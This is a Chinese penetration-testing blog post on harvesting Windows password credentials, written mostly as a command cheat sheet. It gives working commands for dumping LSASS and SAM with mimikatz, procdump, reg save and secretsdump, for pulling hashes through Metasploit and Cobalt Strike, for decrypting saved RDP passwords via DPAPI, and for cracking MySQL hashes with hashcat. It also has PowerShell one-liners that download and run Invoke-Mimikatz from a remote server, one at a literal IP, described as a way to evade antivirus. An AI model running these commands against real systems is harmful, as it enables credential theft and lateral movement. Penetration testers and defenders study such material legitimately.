Windows密码凭证获取

发布于 2021-02-26  2556 次阅读


《渗透测试》目录

Windows Hash简介

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希。    

Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

LM哈希 & NTLM型哈希(只需看NTLM哈希)            

LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希

Windows系统下hash密码格式:用户名称:RID:LM-HASH值:NT-HASH值


Windows 认证基础

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登陆账户
  • 网络认证:远程连接到工作组中的某个设备
  • 域认证:登陆到域环境中的某个设备

Windows 本地认证

  • 1. 用户输入密码
  • 2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  • 3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  • 4. 匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。        

本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的。


系统用户密码凭证获取

  • 1.凭证获取 - mimikatz

mimikatz For Win10下载:https://github.com/gentilkiwi/mimikatz/releases

第一种方式:输入lsadump::sam获取密码哈希值
第二种方式:输入sekurlsa::logonPasswords读取明文密码

本地非交互式凭证获取(批量命令,直接生成文件):
> mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
> mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
1.X 版本命令:
privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码
  • 2.凭证获取 - powershell脚本
Powershell远程加载mimikatz脚本(加载到内存中运行,用来过杀毒软件):
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps的ip:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
下载地址:https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
Powershell加载Get-PassHashes脚本:
powershell IEX(new-object net.webclient).downloadstring('http://47.101.214.85:8000/Get-PassHashes.ps1');Get-PassHashes
下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
  • 3.凭证获取 - WCE
WCE:Windows Credentials Editor
WCE是跟mimikztz齐名的一款hash管理工具。
官网地址:https://www.ampliasecurity.com/research.html
32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/

WCE使用说明:

  • 4.凭证获取 - Pwddump7
这款工具可以读取出当前系统的各个用户的密码hash (包括LM和NTLM)。
在命令行输入Pwddump7.txt就可以读取出hash并显示出来,也可以保存到一个文件中。
Pwddump7.exe > pass.txt

得到的结果格式为

  • 5.凭证获取 - Ophcrack
得到hash值后可以丢到这个网站去进行破解得到明文:
https://www.objectif-securite.ch/ophcrack
如果网站无法破解出hash值,我们可以使用ophcrack工具配合彩虹表自己破解。
工具下载:https://ophcrack.sourceforge.io/
彩虹表:
https://ophcrack.sourceforge.io/tables.php
http://project-rainbowcrack.com/table.htm
  • 6.凭证获取 - Procdump+Mimikatz
Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum
Procdump lsass 进程导出:
For 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用mimikatz还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
  • 7.凭证获取 - 注册表导出hash
Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
  • 8.凭证获取 - LaZagne
项目地址:
https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
# 如果提示找不到 Crypto 模块, 就到 pip包安装位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
把crypto文件夹重命名为Crypto
#或者使用命令pip install pycrypty进行安装
  • 9.凭证获取 - meterpreter获取Hash
• Hashdump
use post/windows/gather/hashdump //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
• Mimikatz
Hashdump使用的是mimikatz的部分功能

Load mimikatz
获取用户密码的hash值
wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp
mimikatz_command -h
mimikatz_command -f :: //查询有哪些模块
mimikatz_command -f samdump::hashes //从windows的sam文件中读取密码hash值
mimikatz_command -f sekurlsa::searchPasswords //获取明文密码
mimikatz_command -f samdump::bootkey
    
msf6:
meterpreter >load kiwi
meterpreter > help kiwi
#列举系统中的明文密码
meterpreter > creds_all
#读取sam文件
meterpreter > lsa_dump_sam
#kiwi_cmd命令后面接mimikatz.exe的命令
meterpreter > kiwi_cmd sekurlsa::logonpasswords
  • 10.凭证获取 - cobaltstrike获取Hash
beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

其他密码获取

RDP连接记录获取    

https://github.com/3gstudent/List-RDP-Connections-History.git

RDP连接密码解密    

在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密,解密成功后可使用此凭据继续横向移动。    •

Mimikatz    

查看本地机器本地连接过的目标机器:    

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

查看本地用户此目录下是否存有RDP密码文件:    

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

查看保存在本地的远程主机信息:    cmdkey /list

选择一个密码文件对其进行解密:
    privilege::debug
    dpapi::cred
    /in:C:\Users\lisianthus\AppData\Local\Microsoft\Credentials\2A203AFB09B575A760E88FA341B9E354
    (注:/in:之前dir获取的路径\要爆破的密码)
此处需要记录下guidMasterKey的值,待会要通过guidMasterKey找对应的Masterkey。

{87701958-a4c9-42e1-a84b-818fd6f00bb7}

根据guidMasterKey找到对应的Masterkey:
sekurlsa::dpapi
(注:获取masterkey并保存)
通过Masterkey解密pbData数据,拿到明文RDP连接密码:
    dpapi::cred
    /in:C:\Users\lisianthus\AppData\Local\Microsoft\Credentials\2A203AFB09B575A760E88FA341B9E354 /masterkey:2d72835b9c08a9332106c23017ee6c0a0be9a368de34c1f6acc6d34dc0de8bc264729bd7736
(之前的获取masterkey命令加上一个/masterkey:获取到的masterkey值选项,能够获取到目标IP及明文密码)

f806e9456544841564be0d5e9564090a7bb143ac32579adabb02a


Mysql数据库密码破解(不常用)    

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问    数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。    

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取    一般都包含有数据库类型,物理位置,用户名和密码等信息

• MYSQL数据库文件类型
MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件
".frm" 是描述表结构的文件
".MYD" 是表的数据文件
".MYI" 是表数据文件中任何索引的数据树
与用户相关的一共有三个文件即user.frm、user.MYD、user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
• MYSQL加密方式
MYSQL数据库的认证密码有两种方式:
   MYSQL 4.1版本之前是MYSQL323加密
   MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询,
前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入实际的密码运算中,MYSQLSHA1加密的密码的实际位数是40位。

用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:    81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

• Hash破解
- 在线网站破解
    www.cmd5.com
    www.somd5.com
- hashcat破解
    hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B --show

常用软件密码获取    

在Windows系统下保存密码,无非就只存在于两个位置:注册表、文件。

  • Navicat
  • Xmangager
  • Teamview

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。